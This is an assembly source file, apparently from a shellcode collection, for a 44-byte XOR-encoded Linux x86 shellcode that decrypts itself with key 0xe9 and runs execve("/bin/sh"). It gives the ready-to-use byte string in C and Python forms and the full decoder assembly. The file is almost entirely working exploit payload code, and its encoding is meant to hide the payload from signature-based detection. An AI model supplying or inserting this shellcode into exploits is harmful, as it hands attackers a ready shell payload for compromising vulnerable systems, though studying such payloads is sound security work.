84 lines
No EOL
2.7 KiB
NASM
84 lines
No EOL
2.7 KiB
NASM
;================================================================================
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; The MIT License
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;
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; Copyright (c) <year> <copyright holders>
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;
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; Permission is hereby granted, free of charge, to any person obtaining a copy
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; of this software and associated documentation files (the "Software"), to deal
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; in the Software without restriction, including without limitation the rights
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; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
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; copies of the Software, and to permit persons to whom the Software is
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; furnished to do so, subject to the following conditions:
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;
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; The above copyright notice and this permission notice shall be included in
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; all copies or substantial portions of the Software.
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;
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; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
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; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
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; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
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; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
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; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
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; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
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; THE SOFTWARE.
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;================================================================================
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; Name : Encrypt Linux x86 Shellcode(44 Bytes) To exceve("/bin/sh")
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; Author : WangYihang
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; Email : wangyihanger@gmail.com
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; Tested on: Linux_x86
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; Shellcode Length: 44
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;================================================================================
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; Shellcode :
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; char shellcode[] = "\xeb\x10\x5e\x31\xc9\xb1\x15\x8a"
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; "\x06\x34\xe9\x88\x06\x46\xe2\xf7"
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; "\xeb\x05\xe8\xeb\xff\xff\xff\xd8"
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; "\x20\xb8\x81\xc6\xc6\x9a\x81\x81"
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; "\xc6\x8b\x80\x87\x60\x0a\x83\xe2"
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; "\xb1\x70\x24\x69";
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;================================================================================
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; Python :
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; shellcode = "\xeb\x10\x5e\x31\xc9\xb1\x15\x8a\x06\x34\xe9\x88\x06\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xd8\x20\xb8\x81\xc6\xc6\x9a\x81\x81\xc6\x8b\x80\x87\x60\x0a\x83\xe2\xb1\x70\x24\x69"
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;================================================================================
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; Assembly language code :
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global _start
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; this shell code will xor every byte of 'jocker' segment , then execute them
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; password is 0xe9 (233)
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_start:
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jmp jocker
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loader:
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pop esi ; get address of encrypted shellcode
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xor ecx, ecx
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mov cl, 21 ; loop times (length of encrypt shellcode)
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decrypt:
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mov al, [esi]
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xor al, 0e9H
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mov [esi], al
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inc esi
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loop decrypt
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jmp encrypt
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jocker:
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call loader
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encrypt:
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db 0d8H
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db 20H
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db 0b8H
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db 81H
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db 0c6H
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db 0c6H
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db 9aH
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db 81H
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db 81H
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db 0c6H
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db 8bH
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db 80H
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db 87H
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db 60H
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db 0aH
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db 83H
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db 0e2H
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db 0b1H
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db 70H
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db 24H
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db 69H
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;================================================================================ |